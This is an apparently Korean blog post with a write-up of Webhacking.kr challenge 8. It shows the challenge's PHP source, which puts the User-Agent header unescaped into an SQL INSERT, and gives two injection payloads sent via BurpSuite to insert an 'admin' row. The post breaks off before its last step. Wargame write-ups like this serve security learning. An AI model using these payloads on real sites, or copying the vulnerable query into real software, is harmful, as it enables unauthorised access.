[Webhacking.kr] 8번 문제풀이

Hevton·2020년 9월 10일
0

들어가서 소스보기를 하면

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

이런 코드가 있다. 정리하면 HTTP_USER_AGENT로 들어온 값이 데이터베이스에 존재하지 않는 값이라면, 맨 아래 !$ck 부분을 통해 새로운 데이터를 데이터베이스에 추가한다. agent, ip, id 컬럼에 $agent, $ip, guest 순서대로 말이다. 그리고 HTTP_USER_AGENT로 들어온 값이 이미 데이터베이스에 추가된 상태라면 로그인이 바로 되는데, 기본적으로 guest상태로 추가되니 Hi guest 라는 창이 띄워질 것이고, 이걸 admin으로 로그인시킨다면 문제가 풀어지게 된다.

BurpSuite를 이용해 HTTP_USER_AGENT 값($agent)을 변조해서 넘겨준다. 해당 방법엔 2가지 방법이 있다.

1. hev', '1', 'admin')#
-> insert into chall8(agent,ip,id) values('hev', '1', 'admin')#{ $agent}','{$ip}','guest')

2. hev', '1', 'admin), ('aa
-> insert into chall8(agent,ip,id) values('hev', '1', 'admin'), ('aa','{$ip}','guest')

데이터를 하나만 추가하고 나머지를 주석처리시키느냐, 아니면 데이터를 두개 추가하게 하여 기존의 구문을 모두 정상적으로 동작하게 하느냐 이다.
참고로 $ agent 값에 대한 필터링 과정은 preg_match("/from/i",$agent) 에서 from을 확인하는 조건 밖에 없다.
addSlash를 썼다고 해서 $agent 변수에도 변화가 생기는 것은 아니니(처리된건 리턴값으로 넘어가는 것 뿐) 문제없다. 무시해도된다는 것.

그렇게 넘겨주면 , x/70 이런식으로 화면이 뜰 것이다. 이 사이트에서 데이터가 70개 이상 추가되면 자연적으로 테이블을 모두 비워주는 명령을 쓰고 있어서 상태를 알려주는건데 별로 중요하진 않고 그냥 잘 추가되었다는 뜻으로 받아들이면 된다.

그리고 아까 넘겨줬던 $agent 에서 우리가 설정했던 agent 값(여기선 hev)만을 다시 BurpSuite를 이용해 넘겨주면

profile
놀만큼 놀았다.

0개의 댓글